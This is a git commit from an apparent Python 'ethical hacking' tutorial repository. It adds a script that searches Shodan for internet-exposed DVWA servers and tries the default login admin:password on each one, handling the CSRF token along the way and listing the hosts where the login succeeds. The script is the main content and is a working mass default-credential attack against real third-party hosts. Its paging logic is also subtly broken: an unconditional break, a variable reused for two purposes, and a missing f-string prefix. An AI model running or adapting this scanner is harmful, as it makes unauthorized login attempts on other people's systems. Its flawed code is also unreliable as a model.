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Commit4dc67b1

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add using shodan api tutorial
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‎README.md

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@@ -30,6 +30,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
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-[How to Crack PDF Files in Python](https://www.thepythoncode.com/article/crack-pdf-file-password-in-python). ([code](ethical-hacking/pdf-cracker))
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-[How to Build a SQL Injection Scanner in Python](https://www.thepythoncode.com/code/sql-injection-vulnerability-detector-in-python). ([code](ethical-hacking/sql-injection-detector))
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-[How to Extract Chrome Passwords in Python](https://www.thepythoncode.com/article/extract-chrome-passwords-python). ([code](ethical-hacking/chrome-password-extractor))
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-[How to Use Shodan API in Python](https://www.thepythoncode.com/article/using-shodan-api-in-python). ([code](ethical-hacking/shodan-api))
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-###[Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
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-###[Natural Language Processing](https://www.thepythoncode.com/topic/nlp)

‎ethical-hacking/shodan-api/README.md

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#[How to Use Shodan API in Python](https://www.thepythoncode.com/article/using-shodan-api-in-python)
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To run this:
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-`pip3 install -r requirements.txt`
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- Get Shodan API key and edit`shodan_api.py` API key and change on your needs.
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- Run`shodan_api.py`
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shodan
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requests
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importshodan
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importtime
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importrequests
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importre
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# your shodan API key
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SHODAN_API_KEY='<YOUR_SHODAN_API_KEY_HERE>'
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api=shodan.Shodan(SHODAN_API_KEY)
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# requests a page of data from shodan
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defrequest_page_from_shodan(query,page=1):
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whileTrue:
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try:
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instances=api.search(query,page=page)
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returninstances
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exceptshodan.APIErrorase:
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print(f"Error:{e}")
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time.sleep(5)
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# Try the default credentials on a given instance of DVWA, simulating a real user trying the credentials
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# visits the login.php page to get the CSRF token, and tries to login with admin:password
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defhas_valid_credentials(instance):
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sess=requests.Session()
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proto= ('ssl'ininstance)and'https'or'http'
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try:
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res=sess.get(f"{proto}://{instance['ip_str']}:{instance['port']}/login.php",verify=False)
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exceptrequests.exceptions.ConnectionError:
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returnFalse
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ifres.status_code!=200:
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print(f"[-] Got HTTP status code{res.status_code}, expected 200")
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returnFalse
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# search the CSRF token using regex
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token=re.search(r"user_token' value='([0-9a-f]+)'",res.text).group(1)
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res=sess.post(
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f"{proto}://{instance['ip_str']}:{instance['port']}/login.php",
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f"username=admin&password=password&user_token={token}&Login=Login",
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allow_redirects=False,
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verify=False,
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headers={'Content-Type':'application/x-www-form-urlencoded'}
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)
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ifres.status_code==302andres.headers['Location']=='index.php':
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# Redirects to index.php, we expect an authentication success
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returnTrue
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else:
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returnFalse
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# Takes a page of results, and scans each of them, running has_valid_credentials
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defprocess_page(page):
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result= []
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forinstanceinpage['matches']:
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ifhas_valid_credentials(instance):
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print(f"[+] valid credentials at :{instance['ip_str']}:{instance['port']}")
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result.append(instance)
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returnresult
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# searches on shodan using the given query, and iterates over each page of the results
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defquery_shodan(query):
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print("[*] querying the first page")
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first_page=request_page_from_shodan(query)
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total=first_page['total']
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already_processed=len(first_page['matches'])
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result=process_page(first_page)
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page=2
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whilealready_processed<total:
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# break just in your testing, API queries have monthly limits
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break
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print("querying page {page}")
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page=request_page_from_shodan(query,page=page)
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already_processed+=len(page['matches'])
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result+=process_page(page)
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page+=1
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returnresult
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# search for DVWA instances
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res=query_shodan('title:dvwa')
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print(res)

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